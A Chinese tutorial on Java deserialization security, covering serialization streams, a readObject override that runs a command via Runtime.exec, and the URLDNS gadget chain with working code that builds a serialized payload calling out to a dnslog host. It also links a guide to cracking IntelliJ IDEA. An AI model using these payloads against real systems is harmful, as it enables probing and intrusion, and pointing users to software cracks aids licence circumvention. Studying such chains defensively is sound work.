Java 反序列化基础

1.ObjectOutputStream 与 ObjectInputStream类

1.1.ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
  • 该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会使任何状态序列化或反序列化,会抛出 NotSerializableException 。
  • 该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态的,使用transient 关键字修饰。
示例:
Employee.java
public class Employee implements java.io.Serializable{
public String name;
public String address;
public transient int age; // transient瞬态修饰成员,不会被序列化
public void addressCheck() {
System.out.println("Address check : " + name + " -- " + address);
//此处省略tostring等方法
}
}
SerializeDemo.java
public class SerializeDemo {
public static void main(String[] args) throws IOException {
Employee e = new Employee();
e.name = "zhangsan";
e.age = 20;
e.address = "shenzhen";
// 1.创建序列化流
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
// 2.写出对象
outputStream.writeObject(e);
// 3.释放资源
outputStream.close();
}
}
将Employee对象写入到了employee.txt文件中
开头的 AC ED 00 05 为序列化内容的特征

1.2.ObjectInputStream类

如果能找到一个对象的class文件,我们可以进行反序列化操作,调用 ObjectInputStream 读取对象的方法:
public class DeserializeDemo {
public static void main(String[] args) throws IOException,
ClassNotFoundException {
// 1.创建反序列化流
FileInputStream fileInputStream = new FileInputStream("ser.txt");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
// 2.使用ObjectInputStream中的readObject读取一个对象
Object o = inputStream.readObject();
// 3.释放资源
inputStream.close();
System.out.println(o);
}
}
打印结果:
反序列化操作就是从二进制文件中提取对象

1.3.示例

 1 package myTest;
2
3 import java.io.*;
4
5 class User implements Serializable {
6 public String username;
7 private int age;
8 // 不希望被序列化
9 private transient String sex;
10
11 // 构造函数
12 public User(String username, int age, String sex) {
13 this.username = username;
14 this.age = age;
15 this.sex = sex;
16 }
17
18 // toString方法
19 @Override
20 public String toString() {
21 return "User{" +
22 "username='" + username + '\'' +
23 ", age=" + age +
24 ", sex='" + sex + '\'' +
25 '}';
26 }
27 }
28
29
30 public class myTest {
31 // 主函数
32 public static void main(String[] args) throws Exception {
33 User user = new User("moonsec", 20, "man");
34 System.out.println(user);
35 // 序列化对象
36 // Serilize(user);
37 // 反序列化对象
38 Deserialize();
39 }
40
41 // 序列化对象方法
42 public static void Serilize(Object obj) throws Exception {
43 // 创建序列化流
44 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
45 // 将序列化对象写入ser.txt中
46 outputStream.writeObject(obj);
47 // 释放资源
48 outputStream.close();
49 }
50
51 // 反序列化对象方法
52 public static void Deserialize() throws Exception {
53 // 创建反序列化流
54 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
55 // 使用ObjectInputStream类中的readObject读取一个对象
56 Object obj = inputStream.readObject();
57 // 释放资源
58 inputStream.close();
59 System.out.println(obj);
60 }
61 }

2.反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞

 1 package myTest;
2
3 import java.io.*;
4
5 class User implements Serializable {
6 public String username;
7 private int age;
8 // 不希望被序列化
9 private transient String sex;
10
11 // 构造函数
12 public User(String username, int age, String sex) {
13 this.username = username;
14 this.age = age;
15 this.sex = sex;
16 }
17
18 // 重新readObject方法
19 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
20 in.defaultReadObject();
21 Runtime.getRuntime().exec("calc");
22 }
23
24 // toString方法
25 @Override
26 public String toString() {
27 return "User{" +
28 "username='" + username + '\'' +
29 ", age=" + age +
30 ", sex='" + sex + '\'' +
31 '}';
32 }
33 }
34
35
36 public class myTest {
37 // 主函数
38 public static void main(String[] args) throws Exception {
39 User user = new User("moonsec", 20, "man");
40 System.out.println(user);
41 // 序列化对象,这里不会执行 calc 命令
42 // Serilize(user);
43 // 反序列化对象,此时会调用 重写的 readObject 方法,执行 calc 命令
44 Deserialize();
45 }
46
47 // 序列化对象方法
48 public static void Serilize(Object obj) throws Exception {
49 // 创建序列化流
50 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
51 // 将序列化对象写入ser.txt中
52 outputStream.writeObject(obj);
53 // 释放资源
54 outputStream.close();
55 }
56
57 // 反序列化对象方法
58 public static void Deserialize() throws Exception {
59 // 创建反序列化流
60 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
61 // 使用ObjectInputStream类中的readObject读取一个对象
62 Object obj = inputStream.readObject();
63 // 释放资源
64 inputStream.close();
65 System.out.println(obj);
66 }
67 }

此处重写了readObject方法,执行了 Runtime.getRuntime().exec()

defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法

运行流程:

1. myObj对象序列化进object文件
2. 从object反序列化对象->调用readObject方法->执行 Runtime.getRuntime().exec("calc.exe"); 

3.java类中serialVersionUID的作用

验证版本是否一致:
serialVersionUID 适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的
serialVersionUID 来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的
serialVersionUID 与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是 InvalidCastException。

3.1.serialVersionUID有两种显示的生成方式

一是 默认的1L,比如:private static final long serialVersionUID = 1L;

二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:private static final

long serialVersionUID = xxxxL;
注意:显示声明serialVersionUID可以避免对象不一致,
设置自动生存uid

4.URLDNS 链

URLDNS 链是 java 原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。
HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。
HashMap 最早出现在 JDK 1.2 中,底层基于散列算法实现。而正是因为在 HashMap 中,Entry 的存放位置是根据 Key 的 Hash 值来计算,然后存放到数组中的。所以对于同一个 Key,在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此,HashMap 实现了自己的 writeObject 和 readObject 方法。

4.1.调用链分析

因为是研究反序列化问题,所以我们来看一下它的readObject方法

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法,跟进看 putVal 里 hash 函数
1 static final int hash(Object key) {
2 int h;
3 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
4 }
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前 URLStreamHandler 的 hashCode 方法。
URL->hashCode 
1 public synchronized int hashCode() {
2 if (hashCode != -1)
3 return hashCode;
4
5 hashCode = handler.hashCode(this);
6 return hashCode;
7 }
hashCode等于-1的时候调用handler中的hashCode
 1 protected int hashCode(URL u) {
2 int h = 0;
3
4 // Generate the protocol part.
5 String protocol = u.getProtocol();
6 if (protocol != null)
7 h += protocol.hashCode();
8
9 // Generate the host part.
10 InetAddress addr = getHostAddress(u);
11 if (addr != null) {
12 h += addr.hashCode();
13 } else {
14 String host = u.getHost();
15 if (host != null)
16 h += host.toLowerCase().hashCode();
17 }
18
19 // Generate the file part.
20 String file = u.getFile();
21 if (file != null)
22 h += file.hashCode();
23
24 // Generate the port part.
25 if (u.getPort() == -1)
26 h += getDefaultPort();
27 else
28 h += u.getPort();
29
30 // Generate the ref part.
31 String ref = u.getRef();
32 if (ref != null)
33 h += ref.hashCode();
34 return h;
35 }
主要是这一句话存在dns查询
InetAddress addr = getHostAddress(u);
 1 protected synchronized InetAddress getHostAddress(URL u) {
2 if (u.hostAddress != null)
3 return u.hostAddress;
4
5 String host = u.getHost();
6 if (host == null || host.equals("")) {
7 return null;
8 } else {
9 try {
10 u.hostAddress = InetAddress.getByName(host);
11 } catch (UnknownHostException ex) {
12 return null;
13 } catch (SecurityException se) {
14 return null;
15 }
16 }
17 return u.hostAddress;
18 }
最后触发这里 进行DNS查询。
也就是说我们现在思路是通过 hashmap 放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在 URLStreamHandler 的hashCode方法中首先进行了一个缓存判断即如果不等于 -1 会直接return。 
1 if (hashCode != -1)
2 return hashCode;
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
正常的情况下hashmap->put的时候就会进行dns 
 1 import java.net.URL;
2 import java.util.HashMap;
3
4 public class DnsTest {
5 public static void main(String[] args) throws Exception {
6 HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
7 URL url = new URL("http://hobeey.dnslog.cn");
8 hashmap.put(url,222);
9 }
10 }
成功返回 ip:http://dnslog.cn/

整个调用链
HashMap->readObject()
HashMap->hash()
URL->hachCode()
URLStreamHandler->hachCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()

4.2.反序列化利用

package myTest;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap; public class dnsTest {
public static void main(String[] args) throws Exception {
// 正常的流程:hashMap -> readObject -> hash-URL.hashCode -> getHostAddress -> InetAddress.getByName(host);
HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://oq1hz4.dnslog.cn");
// 通过反射,将 hashCode 的值修改为不是 -1
Class c = URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
fieldHashcode.set(url, 233);
// 此时,由于修改了 hashCode 的值不为 -1,所以不会访问 url
hashMap.put(url, 22);
fieldHashcode.set(url, -1);
// 在执行反序列化时,要去访问 url
Serilize(hashMap);
}
public static void Serilize(Object obj) throws Exception {
// 创建序列化流
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
// 将序列化对象写入ser.txt中
outputStream.writeObject(obj);
// 释放资源
outputStream.close();
}
}

进行反序列化

package myTest;

import java.io.FileInputStream;
import java.io.ObjectInputStream; public class Deserialize {
public static void main(String[] args) throws Exception {
Deserialize();
}
public static void Deserialize() throws Exception {
// 创建反序列化流
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
// 使用ObjectInputStream类中的readObject读取一个对象
Object obj = inputStream.readObject();
// 释放资源
inputStream.close();
}
}

5.IDEA 安装破解

参考:https://www.cnblogs.com/beast-king/p/17856236.html

01、Java 安全-反序列化基础的更多相关文章

  1. Java多线程系列--“基础篇”11之 生产消费者问题

    概要 本章,会对“生产/消费者问题”进行讨论.涉及到的内容包括:1. 生产/消费者模型2. 生产/消费者实现 转载请注明出处:http://www.cnblogs.com/skywang12345/p ...

  2. Java多线程系列--“基础篇”10之 线程优先级和守护线程

    概要 本章,会对守护线程和线程优先级进行介绍.涉及到的内容包括:1. 线程优先级的介绍2. 线程优先级的示例3. 守护线程的示例 转载请注明出处:http://www.cnblogs.com/skyw ...

  3. 086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结

    086 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 03 面向对象基础总结 01 面向对象基础(类和对象)总结 本文知识点:面向对象基础(类和对象)总结 说明 ...

  4. 085 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 04 构造方法调用

    085 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 04 构造方法调用 本文知识点:构造方法调用 说明:因为时间紧张,本人写博客过程中只是 ...

  5. 084 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 03 构造方法-this关键字

    084 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 03 构造方法-this关键字 本文知识点:构造方法-this关键字 说明:因为时间紧 ...

  6. 083 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 02 构造方法-带参构造方法

    083 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 02 构造方法-带参构造方法 本文知识点:构造方法-带参构造方法 说明:因为时间紧张, ...

  7. 082 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 01 构造方法-无参构造方法

    082 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 02 构造方法介绍 01 构造方法-无参构造方法 本文知识点:构造方法-无参构造方法 说明:因为时间紧张, ...

  8. 081 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 06 new关键字

    081 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 06 new关键字 本文知识点:new关键字 说明:因为时间紧张,本人写博客过程中只是 ...

  9. 080 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 05 单一职责原则

    080 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 05 单一职责原则 本文知识点:单一职责原则 说明:因为时间紧张,本人写博客过程中只是 ...

  10. 079 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 04 实例化对象

    079 01 Android 零基础入门 02 Java面向对象 01 Java面向对象基础 01 初识面向对象 04 实例化对象 本文知识点:实例化对象 说明:因为时间紧张,本人写博客过程中只是对知 ...

随机推荐

  1. NetAdapt:MobileNetV3用到的自动化网络简化方法 | ECCV 2018

    NetAdapt的思想巧妙且有效,将优化目标分为多个小目标,并且将实际指标引入到优化过程中,能够自动化产生一系列平台相关的简化网络,不仅搜索速度快,而且得到简化网络在准确率和时延上都于较好的表现   ...

  2. KingbaseES 等待事件之 - Client ClientWrite

    等待事件含义 Client:ClientWrite等待事件指数据库等待向客户端写入数据. 在正式业务系统中,客户端必然和数据库集群之间有数据交互,这里指的是数据接收,发送.数据库集群在向客户端发送更多 ...

  3. KingbaseES V8R3集群部署案例之---通用机无ssh环境脚本部署集群

    案例说明: 在一些通用机的生产环境,不允许主机之间通过ssh通讯,或者不允许root用户建立ssh互信或登录.默认KingbaseES V8R3集群通用机环境部署需要建立数据库用户及root用户,在集 ...

  4. UE4 c++ -- 简单的UMG

    说明 学习一下如何将Widget蓝图与C++连接起来,将处理逻辑写在C++中 基础 在蓝图中,我们显示Widget是通过一个Actor或者PlayerController,甚至关卡蓝图,利用Creat ...

  5. 初学 FSMC - 扩展外部SRAM(一)

    1. SRAM控制原理 ​ STM32控制器芯片内部有一定大小的SRAM及FLASH作为内存和程序存储空间,但当程序较大,内存和程序空间不足时,就需要在STM32芯片的外部扩展存储器了. STM32F ...

  6. kafka主题、消费者、生产者命令行操作

    十二.Kafka (1)Topic 1)查看当前服务器中的所有topic bin/kafka-topics.sh --bootstrap-server hadoop102:9092 --list 2) ...

  7. Tomcat内存马分析

    前言 自己简单搭建一个Tomcat项目,IDEA里选择JavaEE,勾上web就行了 加个依赖(这样就能找到三个Context了: <dependency> <groupId> ...

  8. ChatGPT商用网站源码+支持ai绘画(Midjourney)+GPT4.0+GPT3.5key绘画+Prompt角色+实时语音识别输入+后台一键版本更新!

    ChatGPT商用网站源码+支持ai绘画(Midjourney)+GPT4.0+GPT3.5key绘画+Prompt角色+实时语音识别输入+后台一键版本更新! 1.网站系统源码介绍: 程序已支持Cha ...

  9. HMS Core Discovery第16期直播预告|与虎墩一起,玩转AI新“声”态

    [导读] 随着人工智能不断发展,机器学习技术也开始被广泛地应用到教育.金融.零售.交通.医疗等各个领域,给我们的生活带来巨大的便利.本期Discovery直播以<与虎墩一起,玩转AI新" ...

  10. linux打包Qt,收集依赖库脚本

    编写shell脚本,用来收集Qt的依赖库,避免在无环境裸机上无法运行 1.创建shell脚本:touch pack.sh 2.编辑shell脚本,脚本内容如下:vi pack.sh 3.给脚本增加权限 ...